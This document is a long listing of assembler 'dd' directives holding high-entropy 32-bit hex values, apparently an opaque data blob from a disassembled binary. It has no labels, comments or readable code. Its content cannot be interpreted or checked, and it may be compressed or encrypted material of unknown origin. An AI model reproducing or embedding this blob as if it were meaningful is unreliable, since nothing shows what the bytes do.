dd 38288C49h, 5F53328Ch, 4441B3C0h, 685450E4h, 0A200BDE2h
dd 7BB07789h, 16CDAA7h, 2ADD1C2Ch, 50E2D406h, 8ACEE494h
dd 0E984042Ch, 7824A10Ch, 0DB418A38h, 0F83021B8h, 8C505448h
dd 78A8FBA4h, 848405Eh, 0EA80DE08h, 0ECBDFFA8h, 54F61E9Fh
dd 3C8141BBh, 31854A03h, 40B44048h, 44A8102Bh, 0B3024F1Ch
dd 91B53069h, 9C80FFABh, 0A3EA331Bh, 0DFB1F31Bh, 0A031E668h
dd 2499D5h, 3A2C326h, 479DD60h, 0E251F700h, 0EF72335Ah
dd 2647000Ah, 65118D21h, 9D0080FFh, 3AEAA0B0h, 25A31B8h
dd 290DD8ABh, 1044D9D4h, 6BACD609h, 0AA80864Ah, 0C0CF871h
dd 0B49CC101h, 520235F8h, 0F3D0EB79h, 709381F0h, 0F031D287h
dd 0C00CC0h, 0C1237E98h, 0D396717Bh, 74068502h, 0E0CE452Eh
dd 748AFFCh, 67B69CF7h, 0B5A8A02Ah, 823CE786h, 9D320B18h
dd 0DC007D54h, 22DB2029h, 28739A04h, 0A083314Ch, 0AD681803h
dd 32850813h, 96F1C200h, 3106F27Dh, 5F24003Ah, 67BA7FE5h
dd 48018307h, 6F636E3Eh, 40808501h, 1EB3CD05h, 4F00FBA5h
dd 814C7C31h, 3234D76h, 65A6577Bh, 600E08ECh, 43988C03h
dd 989C668Eh, 591F6Fh, 531D8217h, 119AFBEh, 85993060h
dd 0F37D83h, 0C4876575h, 92FD0E8Fh, 8B28BF60h, 789DD29Ch
dd 0B6518F1h, 554E405Dh, 2A1250C0h, 22B6CFh, 49846A79h
dd 0C1BE0F11h, 0FD7B2B7Ch, 0D5042A02h, 0E0175078h, 0E8A1D8BDh
dd 32E20019h, 0C86959BBh, 1800A862h, 444166A0h, 1E728153h
dd 0C063E185h, 0E7E6908Ch, 1769F8Dh, 91BFD228h, 2A8C0D54h
dd 5775DD06h, 0D1B0A3h, 0E41EA535h, 2B5B6CF8h, 0E06DCB1Eh
dd 2004B58Ch, 0AF341F89h, 908280C6h, 33BEDA42h, 7A74AE26h
dd 0E05D703h, 33618686h, 0A859B2A3h, 0EEA4B0E0h, 91DA6B18h
dd 7B3248F0h, 2D60A5Dh, 86A81536h, 41046863h, 57C64C00h
dd 0EBF5B3F9h, 527DB4h, 0B7FBEE1h, 0ADB9E74Ah, 97390660h
dd 1FEEF3EDh, 18C275C0h, 0F5FD190Bh, 0A6E4AA30h, 1B2063Bh
dd 749B7111h, 406AC78Eh, 2824D5DCh, 675E707h, 6771CC77h
dd 60D58D55h, 5BC7330h, 0A3498214h, 0BD8441A6h, 0C81AF26Ah
dd 7E300E47h, 5F45963Ch, 52780304h, 0B8FDF697h, 1B6F3618h
dd 0EE3D89D1h, 3A51001Dh, 0A5413C53h, 4707B476h, 1ECC38EBh
dd 48FCB2F0h, 9A3D07DBh, 0AAF0E287h, 8E0E40A8h, 0D303A189h
dd 0F76B7AD2h, 8B2CC8ACh, 8F8017FDh, 5F910752h, 0C09DFE5Ch
dd 7285A6D2h, 6B0010F1h, 0ECC22B8Bh, 52C2Dh, 0C602B9E6h
dd 2373E7CDh, 54B0EB0Eh, 6AF83965h, 88240FE1h, 8CB6008Bh
dd 140959E4h, 0E5B858A1h, 3B08254h, 322DE703h, 7C8A31BDh
dd 7E9EF0A9h, 0FA0B30E0h, 0B3590E29h, 10836501h, 688BE52h
dd 0CB8E4183h, 0FCA0E78h
dd 0CC7A26h, 1B362658h, 15CA8DFDh, 0D601A03h, 1803890Eh
dd 714DA329h, 0C7004388h, 4426E2Eh, 0BB506Ah, 11F572E0h
dd 8464CF8Dh, 0AB00157Ah, 9E8C3621h, 535E59h, 763B8A40h
dd 307F886Ah, 43802891h, 849CA71Ch, 322400AEh, 0CF72E1F2h
dd 0C8B05629h, 2C78AF00h, 892D9B04h, 5E330344h, 0D84C64FDh
dd 20F087E4h, 87D1CE01h, 9707C775h, 84BE306Eh, 606FF93Ch
dd 5669C905h, 8014ED3h, 0A70D5876h, 0A041BD8Bh, 8211F933h
dd 0E7518416h, 4493B8A5h, 6E6AD0FDh, 73D907ACh, 0F583CFDBh
dd 0D0910B27h, 31A6C001h, 48A43280h, 53470AC0h, 0D70FF41Dh
dd 0C8615BACh, 36EE4Eh, 0A0C65A63h, 0C4AD80A2h, 24788400h
dd 7596421Ah, 126F7CB2h, 339C3239h, 54E3986Ch, 0DB191F80h
dd 0B0F8BF00h, 95AF8AE6h, 0D0A50CECh, 766909ADh, 57E97D00h
dd 44BF71E4h, 0B2B80003h, 0A56761D2h, 900E5F7Ah, 207B6550h
dd 3135C71Ah, 8E2C918Ch, 0CCC4E7F4h, 2EC450Bh, 74EDA840h
dd 96628h, 9C62D2EBh, 3D8B12FAh, 58BEF43Ah, 5C28686Eh
dd 87B7C080h, 3BED1AFh, 0F8B49091h, 75F14B8Ah, 0BF7E30E9h
dd 39058430h, 6C5A580h, 0AC307183h, 0A007810Fh, 9D08D9C9h
dd 1126CA41h, 802E6E9Eh, 160FC871h, 3F13D6C0h, 0B43140B5h
dd 10E86A5Ch, 64D00D7h, 9A88977Ch, 0A713F58Dh, 60305E13h
dd 419D4CDh, 0A1F6E936h, 42F08117h, 87FED4A2h, 38F0C530h
dd 3021A099h, 7C61B3A3h, 0A8007179h, 305FB0CBh, 35A2F508h
dd 0F213901h, 20768DC8h, 49E90404h, 9414B024h, 68C30A0Ch
dd 0B6F666h, 1A6C73FDh, 7AD1C38h, 0CE6741C0h, 72D7D44h
dd 28FA5FD0h, 0AF1A00D4h, 58B0522Ch, 94F0403Eh, 34BA0Eh
dd 0CAA50975h, 4877BE4Fh, 0E006B61h, 0EB04CE41h, 8C04179Dh
dd 0FD7931DDh, 84C65082h, 6F4902C0h, 0E399FC10h, 0D7461D00h
dd 9CFE400Fh, 0D24514DDh, 170AF48Bh, 54AC2Ch, 3F72EB76h
dd 0A50044C2h, 90A12E41h, 175865CCh, 8647EDAh, 0DD87B634h
dd 80F96105h, 2DD46618h, 0A32418CDh, 0C3FF21BEh, 158E1E00h
dd 0C5C8BB53h, 37CE073Eh, 0A0E2AA74h, 4738D204h, 0F0001FECh
dd 6D88FC8Dh, 30527063h, 58C11E6Fh, 28F439D4h, 2C09500h
dd 81CDB944h, 2C5307FCh, 1EECB30Ch, 13397C94h, 48FFB980h
dd 8A8E597Fh, 0E05CE77Bh, 0E9873034h, 0C0076803h, 1FEC9461h
dd 6209054Fh, 90AAE764h, 0E0C318h, 0D392B0BCh, 0BD25520Eh
dd 0B7AD800h, 0F344B487h, 3C4B71CAh, 0BF9FBC6Fh, 3ECC41E2h
dd 32850E65h, 8024C9BCh, 0B5945389h, 0BE8D1CA5h, 5FB4D666h
dd 30AD9C24h, 33201A1h, 1827E5E4h, 325DC55h, 5EFDCDB1h
dd 8B3B25E8h, 8060A548h, 26652BF5h, 0E4F10093h, 0BBF4719Ch
dd 0F60FCE02h, 0E06878FEh, 822BA141h, 8F8A118h, 472DC717h
dd 0D3D66076h, 0FF09F51Fh, 0F7129Ch, 2147F894h, 80E0912Bh
dd 9F71F1EEh, 0A009E97Fh, 0A488919Bh, 0EC814C51h, 83F16C6Eh
dd 2E77D870h, 62A00E84h, 0ACA0BCA3h, 0F83D30BAh, 8BE36A00h
dd 7E75DFB2h, 2FB701D8h, 78E4749Ah, 2D0486Fh, 95CF6807h
dd 7641C0C4h, 0C03F541Fh, 846B04F6h, 0E6EF106h, 1310982h
dd 9487CE2Ah, 20B7652Dh, 64038D90h, 0F33228F9h, 8018C2FDh
dd 0AA957E88h, 9710245h, 0AD0EB57Fh, 13728C90h, 206FAF00h
dd 61ED3ABh, 45D9131Fh, 73810092h, 7DE4BD62h, 0FAEA88B8h
dd 0BB015CB0h, 26EBA45Ah, 49870EADh, 7716E058h, 8DBC533Eh
dd 0CE1761E0h, 0CF0980F4h, 2009EB7Ch, 716BFB48h, 2CB806E9h
dd 190EECCEh, 91C40400h, 3051D2D9h, 0AE23006Ch, 5CBDB262h
dd 0E0C92924h, 7F4080E7h, 986A826Bh, 0B0BA0150h, 0A37E1720h
dd 0C0C3061h, 0EA094484h, 0A61C1700h, 8E51A3CDh, 613498CFh
dd 3BDA4015h, 197030C6h, 1BC6D3Eh, 492C7254h, 188E92F7h
dd 64A05B76h, 0D4335DFFh, 0B1A5F812h, 9834840h, 4896A2F3h
dd 0E1002463h, 0C32BC4E8h, 2D4CE94Ah, 196F0178h, 1868637Bh
dd 0A37AA910h, 0FC39D003h, 0C0E7C599h, 1CE7FCFh, 52A03DC7h
dd 706A6D8Fh, 7448DA8h, 0D358C11Fh, 4C01689Ah, 150ECE9Ch
dd 0E0234B10h, 3FF0B33Dh, 0EEB20F17h, 2053BE3Ah, 0A2843104h
dd 74A64C92h, 34EF3B00h, 0AE68DEDBh, 7B1C1DABh, 0DFB8431Fh
dd 6F9061F6h, 49002533h, 826CB68Dh, 1CF2A79h, 928C7A62h
dd 9F066F45h, 0BEC2D8D9h, 0E0912DABh, 901F895Eh, 4DE7F41Ch
dd 8C11DC11h, 5758003Bh, 84F610C5h, 0A328C286h, 3061EA8Eh
dd 40C6420Dh, 0CE0F0853h, 0C0A47433h, 6EEE41F9h, 4C4D007Fh
dd 0B1A497B0h, 3E0065BBh, 0CCBAFC5Ah, 60B5906Ch, 16AA606Fh
dd 0D9128E35h, 4C98ECC1h, 0E5E0A0B9h, 2C5E00FEh, 2B3BE005h
dd 0D4909B33h, 0B422800h, 88B28EB7h, 12B92A85h, 0D6BF007Ch
dd 0BA4F49F5h, 27179ADCh, 0C80C63ECh, 4E61BEh, 0DB96D252h
dd 0E3CC8FA9h, 80D4DC38h, 56C869C3h, 9075824Dh, 0D3FC00E8h
dd 67A49173h, 0F4AC652Eh, 996DD507h, 0F282411Ch, 521461FDh
dd 646FE9EBh, 0F0A1D094h, 0DC831488h, 88A74A99h, 879FE9h
dd 0CFD5707Eh, 1AC0A961h, 0ADF82261h, 1C35F3EEh, 0C0C2B444h
dd 0D0C489h, 4B214971h, 87B93322h, 0E410D204h, 68A124FFh
dd 40F20842h, 171DC3C8h, 41CA8C3Eh, 0CCDAE25Ch, 1439AAh
dd 0DBF35A2Eh, 3C7E9B1h, 332F4850h, 0E0A84F93h, 0EC30BFA6h
dd 180F13Ah, 0DFF706B7h, 0D18CBE29h, 5748FDF8h, 71620BACh
dd 0D5280511h, 551A7840h, 0C2EDCCh, 0C9B60E51h, 0A44A8272h
dd 31C6D11Fh, 9412805Dh, 2187D80Eh, 0AC2DF856h, 75243Dh
dd 0D27A7E4Ch, 7F1020Fh, 17E88E5Bh, 9409BB3Bh, 44C9860Eh
dd 72889C2Ch, 10B0A7C0h, 50DA052Bh, 0A0608431h, 0D6048Ch
dd 0EE0A968Ah, 385354CCh, 0DC40684Bh, 34733E2Fh, 13E200BDh
dd 0C9ACC880h, 17025FB1h, 6CCD067Dh, 0B818A01Dh, 7A96DC15h
dd 982BFA59h, 269D1EDDh, 234FC92Ah, 78771880h, 0B8A80501h
dd 9891BB85h, 0CC9EE380h, 8290FCh, 89E8B4ABh, 1368DD5Bh
dd 2F5A505h, 0B6007380h, 0F6225294h, 0E41D5066h, 0B1BB09C5h
dd 0C8C83F02h, 0C8A837ECh, 3800DBC1h, 0BA7DEBFDh, 71D9AFh
dd 511A3550h, 0A35D70E1h, 73F9899h, 0E0C754EFh, 0FEFF5F32h
dd 0AD57098Bh, 2F844890h, 0A144E300h, 0C82421A8h, 0DE8C0068h
dd 0CED99FC0h, 6C00ACD7h, 955A7D02h, 1FD3AF8h, 0E0E933B6h
dd 9F8EBE5Dh, 8D8C0349h, 17D7C2ECh, 20686406h, 6AB43EB4h
dd 80AB733Fh, 824C1990h, 1EFBF592h, 2625F22Dh, 2CE8048h
dd 4F7DFF55h, 5934EC30h, 0B37B4Ah, 0DB272D64h, 0C2B1FB53h
dd 0FD81C600h, 0E8114D28h, 9CC3507Ch, 0D14A1FF2h, 5FC4C002h
dd 3C74570Bh, 310ED896h, 4C8C358Bh, 7A35860h, 0E868EA0Ah
dd 104B13B7h, 4C92F60h, 0CF71B22Ch, 4364C0DBh, 1E046BA6h
dd 5B10E7Dh, 0E23E0144h, 7546010Ch, 1B5FCD93h, 581A2820h
dd 670268C1h, 708276EBh, 0BF023C59h, 7FF5DB9Ch, 0A7D1DB60h
dd 0E14AAF12h, 0C8D0C8h, 15F3466Ch, 5594C154h, 0A464A900h
dd 0EA06A1A8h, 2DBD2C07h, 55E7C238h, 0EE0710E6h, 3E431740h
dd 24872A20h, 0A4B0084h, 62BDC045h, 7F8936ECh, 599C8h
dd 0F701E73Ch, 59207009h, 0BEE82B00h, 0ACFE5D04h, 0F259C002h
dd 0FAD25337h, 3F796400h, 78C94FFBh, 0D80352ECh, 6A74B807h
dd 0EE1BC05Ch, 0C83D4715h, 0E054247Dh, 892D4F00h, 50B9410Eh
dd 0B78C14h, 485D9FC1h
dd 2C03BDF3h, 6F50C012h, 0FC90A420h, 5375031Dh, 21ED1120h
dd 1F665180h, 0D2017778h, 0E2A5CEC9h, 5030742Dh, 307D5CB3h
dd 4DCCF300h, 0B6DC2BD7h, 8CA34E26h, 6A119F40h, 29C000FEh
dd 42831576h, 201FB6B7h, 3B973C03h, 1A887C05h, 3DB7088Ch
dd 39009C30h, 2A3DA632h, 59FE6553h, 9067C527h, 244AD4h
dd 0B3955615h, 5135A7E9h, 0B464632Ch, 229A2B00h, 4483BE14h
dd 71283105h, 8CB288F7h, 286E6912h, 5DD0F830h, 0DFCF079Ah
dd 0A0252C01h, 0B89EE92Bh, 0DE14C909h, 0D8449Ch, 2D877FE3h
dd 0B5BA69F5h, 2FE44204h, 64E4AC2Ch, 0CF9801B9h, 0C41B6DEEh
dd 0D278848Eh, 0ECB21D64h, 18A30070h, 0FEDFB207h, 0BC1A9715h
dd 6691317Fh, 82161EC4h, 0A64107F0h, 0CF50C214h, 0FE262CE8h
dd 2B7D1C1Ch, 421B1E82h, 0A3E8983Dh, 0BEFAE5h, 101C81F2h
dd 0B84F7FECh, 9EFEEE00h, 9B1FA36Bh, 12C2B0CCh, 258531CDh
dd 0E7EC80DCh, 0B1091750h, 446504CFh, 0AC7F0074h, 7849A673h
dd 28057CB9h, 0FE55191Fh, 0F245B883h, 0C24C6216h, 0A0345ACCh
dd 0AE84948h, 1870EACh, 38B71450h, 0F94A6800h, 8CAE0880h
dd 0D84B9E28h, 0E349F48h, 0F277BFC2h, 109CEC30h, 5E61006Fh
dd 7CA8BC68h, 1110B86h, 49000336h, 0E6EAA487h, 63041124h
dd 0C67D4E82h, 74DE2481h, 0C00B8ED0h, 0FE18B89h, 4E30CE5Dh
dd 63E9781Bh, 0DDD1008Eh, 124C2C24h, 0B50B8D64h, 647FAFBFh
dd 0FB03078Ch, 747015h, 0B19B8617h, 6C328A00h, 75833BCEh
dd 258FE649h, 581088BCh, 0E0A0E271h, 60632BBh, 0DADC38Eh
dd 354E821h, 5BEAFFA9h, 6480E51Dh, 7600CF8Bh, 0B214B1D4h
dd 4F9C270Dh, 0D61440EBh, 0BBF233E3h, 0AECC5328h, 0ED18200h
dd 0D50A7796h, 2B5D0546h, 20A5FF07h, 0E619F6A0h, 0AA33D801h
dd 74D83BFh, 0BFA9890h, 80EDA4DCh, 807CF198h, 4767251Ch
dd 0E6A83C90h, 7D917B05h, 8806910h, 27111CF4h, 80203101h
dd 965A32B2h, 78045148h, 7F63388h, 0F8717A9Ah, 0D1C6A3E0h
dd 6A094076h, 4662C89h, 51470D10h, 0AA5E1065h, 0C102B19Ah
dd 0E71E8CB4h, 0BE06692h, 9B5A0D1Bh, 0F35CD880h, 500977Fh
dd 9E1DCC41h, 0E4B502C8h, 1CB932h, 958DE7B7h, 0C0047679h
dd 0B1566306h, 2B1D3081h, 1E83F83Ch, 0D6D0E1F1h, 0CA05891Fh
dd 0A535EF2Ch, 0DDA69000h, 297FF2DBh, 808C6312h, 0D28EB221h
dd 0D54C5D2Ah, 0DEEC0244h, 6064F7EDh, 0C965DA00h, 0C885CA08h
dd 0DFACC161h, 0F19C6060h, 0B7AAE011h, 0BF807338h, 9F433050h
dd 0F1001777h, 0B56FE901h, 2322BACh, 0D03141C4h, 90D9E4BEh
dd 90F67000h, 2C3A66h, 529813FAh, 0DB72EED4h, 0DFBC2200h
dd 0CCDD8714h, 12321647h, 26283065h, 4200566Fh, 2E3316AEh
dd 3F34ED7Eh, 3716F3DAh, 8FA49105h, 4A88160Dh, 0E96C80D3h
dd 9506879Ah, 0BBA37982h, 0C9553D91h, 0F23D6B81h, 0FF531C46h
dd 0C6D39BA0h, 1B8E57Eh, 1FD1FA60h, 24CEC8Bh, 7A0657Dh
dd 0FCE0D141h, 624A5D10h, 18B3A021h, 2B209C0h, 7E82175Ah
dd 9CA0B4A4h, 0A58FC20Ah, 0EA61CE00h, 0F81C6592h, 0E6043928h
dd 8DBE3E09h, 8631A4C8h, 0F026E0B9h, 0A9DC8CCh, 887F3156h
dd 10AF0010h, 7A826555h, 0E1BFA330h, 8D6ACAh, 994E8CFDh
dd 0C38F95E0h, 2D9D2604h, 7CC02B30h, 0B42EC745h, 170426F0h
dd 2C6C20BBh, 0BA027E80h, 0E72976F5h, 847CE158h, 0CBC3546Ch
dd 0E8093BA4h, 10AC5A47h, 9687EB0h, 0F2BCB78Eh, 0F9CCE083h
dd 40FA3FA2h, 62DD70DFh, 2545581Dh, 38F5890Eh, 0B14AF4FCh
dd 6BD48030h, 4B1B261Fh, 0C4D5F304h, 0B0A25102h, 0ED802200h
dd 0F46C6377h, 8871A70Fh, 0E3DD001Bh, 2CB98Eh, 8C605949h
dd 92FD4D90h, 0E7D20503h, 0A012C77Dh, 88023E03h, 0C3058763h
dd 0ED92D346h, 2B71F005h, 0FA00CCE2h, 4625A331h, 2026B330h
dd 0CD0A1435h, 40316C01h, 0D440565Bh, 606F64F1h, 4A6DA90Ah
dd 0E7F2A9D4h, 0F977B3Fh, 27419B16h, 0BF40FDCAh, 0F33B758h
dd 22500335h, 5EE387h, 83CBA380h, 21000672h, 697BBDEAh
dd 0F3EDBh, 76B6D4ACh, 483B6A6Dh, 105C18C0h, 3DB94D72h
dd 0D79FBB4Ah, 0FE30F06Bh, 0F400EA0Fh, 5FCDA3CFh, 0E334FAh
dd 28D55C60h, 0AE54AAEh, 6F40EB79h, 6D6E0E48h, 6C87F8AAh
dd 0AD5CD21Ah, 29DC37E0h, 7543B92Dh, 41C96300h, 3C1828A7h
dd 3E89B1EAh, 31CA79A8h, 53117ED7h, 97E0E4BDh, 8672AB00h
dd 0B899AADDh, 5B741839h, 29BD393Dh, 7E563B00h, 7FC2EA46h
dd 0C8B7668Bh, 3200497Ah, 0BC2C74F6h, 5A3397h, 5F144E03h
dd 0A8CDDD73h, 0CC09D200h, 0A3EAA987h, 64AF052Fh, 5E72D608h
dd 4F37CF84h, 7EE08CEEh, 9127DDFFh, 6E676C03h, 7CD743h
dd 4D1FC569h, 2BC9D3B4h, 82A98903h, 0E99BA241h, 0B18139B3h
dd 5AB891F9h, 40B7CD5Bh, 9A74088Ch, 0A492EE68h, 14A5F980h
dd 0EB62FE6h, 9D0EEB17h, 8468B903h, 80666189h, 0A5227D29h
dd 1855F68Fh, 19E672E7h, 0DC005B69h, 5CDF10BFh, 30706A03h
dd 33D177D6h, 9000F72Ch, 0DF18502Bh, 0E78B89Bh, 58634D24h
dd 0C4E8DA61h, 5C953033h, 2AB2ED01h, 68612F10h, 0F76D6180h
dd 0B48B6CDDh, 8062EF00h, 74B7BF9Fh, 0DB81C359h, 0D800B0E2h
dd 89C9AAE4h, 30FAFD9h, 0B8A8E9F9h, 291237B4h, 0FB00CDCAh
dd 9488AD47h, 62AE00DEh, 0E324B941h, 0E700ED87h, 0C7F7565Dh
dd 1BD843Fh, 1ABF4E3Ah, 0EB6174A5h, 5700497Ch, 0DCB79976h
dd 15FC1EAh, 0BF4D0928h, 6083E135h, 0C500E816h, 7D3AC95Eh
dd 0D6CFB99h, 7060C43Ch, 0D806CCD9h, 0ADA19500h, 772CB1C5h
dd 43B80EC1h, 0A200E1Ch, 18DA1D0Dh, 4CB9CD48h, 32F16048h
dd 0E70102h, 0AC9DD3CFh, 6BFE33AEh, 12C59D4h, 2A0B50E9h
dd 0C41075D7h, 16008A3Ah, 0EF159E20h, 0C25008h, 0DA554A4h
dd 0B44161F8h, 0F2E14D62h, 0F171C06Ah, 2AF7002Fh, 83F09B22h
dd 5900081Ah, 0C702367Ch, 3B3B96Ch, 735E92E8h, 0A148DFE9h
dd 60773A1Ch, 56CBA7F0h, 7161300Ch, 25194EA1h, 7B85F000h
dd 0B3CB69BAh, 5C79C038h, 2BA1A0E2h, 0CA7D39h, 0F917F6A7h
dd 4861B906h, 0ED185B25h, 33B469EFh, 2F5939C1h, 0C560681Eh
dd 868E3FC1h, 0A7F2FB82h, 8984540Dh, 41188238h, 5221B720h
dd 8449C1D6h, 0E558CEB3h, 704BFDA0h, 0C9090F3Dh, 2A80B7EAh
dd 776084B8h, 0FEDA8223h, 73D73031h, 753B8621h, 92048590h
dd 0A2BC3791h, 0CAB17B80h, 7FD7302Dh, 0C06A9D29h, 242A0D0Eh
dd 0CBA220E1h, 7168085Ch, 0FB0982Dh, 0FEC4253Bh, 0A9508E60h
dd 40996A74h, 6813780h, 0F21877D7h, 0A0D50A93h, 40F4D6D0h
dd 65372E5h, 9BE258h, 33F1260Bh, 974E6DEh, 462B7B54h, 84087800h
dd 2709115Ch, 18757F7h, 0C933AAC4h, 3987446h, 2E0EB0DEh
dd 610078D7h, 0BE090B72h, 7353F0h, 293189AFh, 6F388CCAh
dd 81C87504h, 0ACC8B8EAh, 0E1F32A73h, 60C0F8B4h, 31C91942h
dd 5E3EFE4Dh, 7BBA1164h, 1D1AC40h, 83CC6B12h, 0C0167F44h
dd 3B31C95Dh, 0FAF374C3h, 35BB51BCh, 0EC51E045h, 31E19C0h
dd 0DC5AFEh, 0E0238B25h, 49D62170h, 0A26FDA05h, 0AC018663h
dd 3AFE069Ah, 1AF81021h, 0B0D64C6Eh, 0E1CBA582h, 53749182h
dd 0E0560C6h, 0C7341359h, 86059460h, 57C90D9h, 8C2B1033h
dd 0AB1180FEh, 9A00CB50h, 0C4AF0828h, 28E8B987h, 0DCB884C6h
dd 0AC2A2Eh, 6D6CE148h, 0BEEA9894h, 0EB7344A0h, 2C0021DEh
dd 0B2D92EA9h
dd 0E8B00149h, 743DB7A4h, 16C2355h, 0AC0E1835h, 0D89CBA11h
dd 21A9C057h, 5CF5E3D7h, 0F603C90Eh, 0C022918h, 18824004h
dd 696E60F0h, 0AB00E781h, 0AF01252Ah, 1408BB7Eh, 0E04FD924h
dd 0EC21EC43h, 6095C00h, 0F81D881Bh, 1980E3E0h, 31FF5A2Bh
dd 3A02BF25h, 0A2FBB0FDh, 3466BAh, 72E8307Ah, 9BF311BBh
dd 9020A800h, 0D0D2C036h, 0A5971281h, 0CBF82052h, 0F200B64Ch
dd 0E9D5B7Ch, 773F923h, 0A2667940h, 184C716Bh, 5241003Dh
dd 0B639C0EEh, 1A9327ABh, 0F00C2E6h, 0F85B0EA6h, 98F17CAh
dd 1DC08B3h, 5002548Eh, 0B4C63BBAh, 51CCA400h, 3CC9E661h
dd 0E4AF025Fh, 67131EA1h, 0BB2CF081h, 0E9D0E78Fh, 0F4B05BACh
dd 0DA8BA50Eh, 0A6DF8FE2h, 89ED52h, 13FBF572h, 2EB892A6h
dd 7E416300h, 3991F251h, 9C775C9Dh, 5AA90B73h, 80D7CC6Fh
dd 498467DDh, 17F82650h, 7301710h, 1F3D32C8h, 3B210B00h
dd 0CB5CA8EBh, 0B05B00E6h, 208BEE86h, 9BB6EA2Ch, 8EAD007Ch
dd 0C8D85C82h, 31BADA00h, 0CA77610Eh, 0B4A6C4h, 4CDCC2A3h
dd 0F65C359Ch, 8AFB1203h, 0F8CEE780h, 78FC73D1h, 502090E1h
dd 900F9C52h, 82BE12DCh, 0CE881FC6h, 0D780E081h, 8D420CDBh
dd 64EE7324h, 13CB343h, 0CAE1691h, 20FA40C7h, 0A228F344h
dd 3011E021h, 0E000D551h, 0E29AE5FBh, 8F39D050h, 0C1111DA2h
dd 81478C00h, 24F02789h, 170F788h, 601FD232h, 0D871806Dh
dd 90944C8Dh, 0AF9300A0h, 9BDC6EE5h, 0B0E2CAE9h, 0EE4FC940h
dd 44B1B4h, 0CDAD1773h, 64122BE5h, 9A009699h, 0D0F4D9C4h
dd 0FD5A903Bh, 0C8407422h, 527257h, 5CB9445Eh, 0A39DC704h
dd 0AF0404Ch, 8CEC8189h, 4268F107h, 0CA18AD80h, 0FC3311D7h
dd 6052267Bh, 29E33540h, 0F800010h, 49365112h, 1C007E45h
dd 73CB79CDh, 0A03C0B33h, 104B02BCh, 0D8ED7Ah, 0D02FEEECh
dd 2E8CBBA7h, 920655Fh, 7483E406h, 0E1004AB4h, 0D2C1108Bh
dd 1828C376h, 0AC6C8D90h, 0B40067BFh, 69A9BD3Ah, 9A71D60Eh
dd 13E650h, 22C2B04Ch, 0A0DEEE75h, 4402880Ah, 5930FDCAh
dd 13CFF3Eh, 0C8105CC7h, 49615F01h, 7CE800C4h, 9B031411h
dd 9E4DCC09h, 5BAFA1E1h, 38301ECh, 10F3A53Ch, 74F825BCh
dd 59CB3260h, 20A010D5h, 0D63800C3h, 0AB09E7C6h, 743DAF04h
dd 0EB5295A1h, 0FDC900A0h, 4EAA7305h, 0CC760099h, 0D27EF728h
dd 0AE4C4D6Bh, 2D0800EBh, 770E547Bh, 0BF9B01ABh, 0C1678EE4h
dd 81E84464h, 62D5CB18h, 0B0F501ACh, 15CD23FCh, 9ECCFCh
dd 35D86610h, 56A97F17h, 0E08844Ch, 808A183Fh, 0A53B9D19h
dd 0E4F512BCh, 0E1800855h, 0A00D5C8Fh, 0A94976ACh, 0BD47916h
dd 0B5EA58FFh, 5F118410h, 965AF216h, 55C92005h, 2DEFF000h
dd 0B9D6C420h, 0F23F3E4Ch, 9C6313h, 0E7374FEFh, 73068593h
dd 76D5A415h, 210E00C1h, 0E3573147h, 0BA0FD20Dh, 20B9AD8Dh
dd 4D91BE8Ah, 33A81843h, 0E84859C6h, 74D5C318h, 3F856441h
dd 4C75D1ECh, 2A0F9729h, 0D26C04h, 0E8D9F5DCh, 6496D5ABh
dd 1963BC80h, 1A63436h, 3A77898Bh, 0DCB280AAh, 7344D735h
dd 81C3076Fh, 21F2C55Dh, 0C0CA84BDh, 9005181Ch, 7852A741h
dd 2346C4C2h, 87D8E7B6h, 7D39CE02h, 0BC00FF60h, 47F764EBh
dd 135840BEh, 44B604B7h, 98F473E8h, 82002FD4h, 0A7DCA942h
dd 946068D9h, 9ED2804Ch, 0F1B8AB56h, 9C3B8726h, 0D0404011h
dd 0C0234C2Ch, 20B43812h, 8EF4774Ch, 0D6D4B203h, 0A04A7CA5h
dd 7EB375Fh, 0D3CBEAD9h, 0E7C14061h, 0E2004DC5h, 1709035Ch
dd 2EB8D1A5h, 0C04817Bh, 96088F9Ch, 7C20834Bh, 93CF26h
dd 0D227E22Ch, 0A5B3BD2Dh, 9D157104h, 3E037DD5h, 7890FD02h
dd 3F0008E4h, 8FAE5313h, 39EAA85Eh, 2C009ECEh, 29C95A4Dh
dd 0A97C1036h, 0A38ACA1Ch, 21B935C5h, 0DA0C84C0h, 814D01E3h
dd 7A7F410h, 0C0EC2073h, 79037B44h, 0D34701C8h, 0C9353C56h
dd 0CA22126Ah, 40D88484h, 0FB21BE40h, 0CB03085Ch, 0FF3C92D8h
dd 0A0FCC023h, 27520009h, 26F03FC9h, 18C0AB87h, 854D3033h
dd 0DC950502h, 2752990Dh, 0E18A40DCh, 0B824B3E3h, 0ED00842Fh
dd 8895818h, 0D8F23CADh, 36860F84h, 24088D7h, 508AB800h
dd 0CF1EB968h, 0BAF14856h, 0E77EBC02h, 0E0ECFB33h, 0F3D7041Dh
dd 0AB76EE00h, 30732F58h, 0C381DCE6h, 374DC85Eh, 4D220A6Ch
dd 8F06E45Fh, 40E0A4h, 8EDE60FDh, 0B92AC7D9h, 0C94AB704h
dd 0DB003CB4h, 6056829Dh, 107FD705h, 98805E0Dh, 4BF0C6CDh
dd 0F5642722h, 5489C046h, 0AF00B90Fh, 9A41A5FAh, 94FE71AEh
dd 1FE201DCh, 51842122h, 0F4340E1Ch, 2E1CC08Fh, 0FBE7538h
dd 806AD08Dh, 6C5B89F4h, 603E481Ch, 1900323Ch, 5D0D70FAh
dd 22384CC9h, 60E97EAAh, 0CE07E871h, 23CA2CB7h, 900C4469h
dd 0AFEE28h, 53D99590h, 0B7BBD47Fh, 44B33B28h, 0D03F2118h
dd 0DEBA32h, 0D78D5303h, 78CAF1D1h, 0C988C300h, 8CB6BE3Bh
dd 0F95B059Bh, 88587440h, 0FF5233BCh, 0EF1700CCh, 0B47A6B18h
dd 7821C04Eh, 0D2640953h, 261FA301h, 0EC1FC11h, 4FF00CC5h
dd 0CC5E8C4h, 795FE83Ch, 0B1001D49h, 80702AA2h, 2688EEEFh
dd 5910532h, 0C1A5F3CBh, 303CAB00h, 0A91C0F64h, 40ECD084h
dd 893D5D08h, 0F1823ABDh, 0C46A9137h, 0E923CF8Fh, 6900675Fh
dd 0F4316227h, 2D5A8C7h, 0BF1DE61Ah, 1C68992Eh, 3944B424h
dd 496B0406h, 0F4617F56h, 0F1071FC4h, 0FD399862h, 0ED271220h
dd 6D1E0071h, 0E177A90Bh, 0EC982BCDh, 0B24C24Ch, 98E3676Bh
dd 0F63774h, 8387FA3Ah, 0A356FFE9h, 0EB627028h, 30138CB0h
